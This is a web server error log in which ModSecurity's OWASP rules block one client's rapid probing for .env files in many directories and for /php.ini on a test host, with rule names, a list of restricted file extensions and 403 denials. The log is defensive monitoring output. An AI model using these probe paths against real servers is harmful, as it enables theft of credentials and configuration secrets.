[Wed Feb 25 06:05:26.155851 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXiAAAAAQ&quot;]
[Wed Feb 25 06:05:26.156016 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXiAAAAAQ&quot;]
[Wed Feb 25 06:05:26.169321 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /pfbe/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pfbe/.env&quot;] [unique_id &quot;aZ6DFlIszkcv5YapLJKXIgAAAAI&quot;]
[Wed Feb 25 06:05:26.169569 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pfbe/.env&quot;] [unique_id &quot;aZ6DFlIszkcv5YapLJKXIgAAAAI&quot;]
[Wed Feb 25 06:05:26.169741 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pfbe/.env&quot;] [unique_id &quot;aZ6DFlIszkcv5YapLJKXIgAAAAI&quot;]
[Wed Feb 25 06:05:26.203579 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /project_root/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project_root/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXiQAAAAQ&quot;]
[Wed Feb 25 06:05:26.203829 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project_root/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXiQAAAAQ&quot;]
[Wed Feb 25 06:05:26.204001 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project_root/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXiQAAAAQ&quot;]
[Wed Feb 25 06:05:26.223011 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php.ini&quot;] [unique_id &quot;aZ6DFlIszkcv5YapLJKXIwAAAAI&quot;]
[Wed Feb 25 06:05:26.223516 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php.ini&quot;] [unique_id &quot;aZ6DFlIszkcv5YapLJKXIwAAAAI&quot;]
[Wed Feb 25 06:05:26.223684 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php.ini&quot;] [unique_id &quot;aZ6DFlIszkcv5YapLJKXIwAAAAI&quot;]
[Wed Feb 25 06:05:26.257186 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /protected/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/protected/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXigAAAAQ&quot;]
[Wed Feb 25 06:05:26.257453 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/protected/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXigAAAAQ&quot;]
[Wed Feb 25 06:05:26.257632 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/protected/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXigAAAAQ&quot;]
[Wed Feb 25 06:05:26.368856 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /psnlink/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/psnlink/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXiwAAAAQ&quot;]
[Wed Feb 25 06:05:26.369101 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/psnlink/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXiwAAAAQ&quot;]
[Wed Feb 25 06:05:26.369270 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/psnlink/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXiwAAAAQ&quot;]
[Wed Feb 25 06:05:26.419436 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /pt2/countries/src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pt2/countries/src/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXjAAAAAQ&quot;]
[Wed Feb 25 06:05:26.419666 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pt2/countries/src/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXjAAAAAQ&quot;]
[Wed Feb 25 06:05:26.419823 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pt2/countries/src/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXjAAAAAQ&quot;]
[Wed Feb 25 06:05:26.479351 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /pt8/library-backend-gql/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pt8/library-backend-gql/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXjQAAAAQ&quot;]
[Wed Feb 25 06:05:26.479611 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pt8/library-backend-gql/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXjQAAAAQ&quot;]
[Wed Feb 25 06:05:26.479827 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pt8/library-backend-gql/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXjQAAAAQ&quot;]
[Wed Feb 25 06:05:26.541671 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /pub/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pub/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXjgAAAAQ&quot;]
[Wed Feb 25 06:05:26.541957 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pub/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXjgAAAAQ&quot;]
[Wed Feb 25 06:05:26.542170 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pub/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXjgAAAAQ&quot;]
[Wed Feb 25 06:05:26.647138 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public_html/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_html/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXkAAAAAQ&quot;]
[Wed Feb 25 06:05:26.647413 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_html/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXkAAAAAQ&quot;]
[Wed Feb 25 06:05:26.647598 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_html/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXkAAAAAQ&quot;]
[Wed Feb 25 06:05:26.756398 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public_root/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_root/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXkQAAAAQ&quot;]
[Wed Feb 25 06:05:26.756671 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_root/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXkQAAAAQ&quot;]
[Wed Feb 25 06:05:26.756870 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_root/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXkQAAAAQ&quot;]
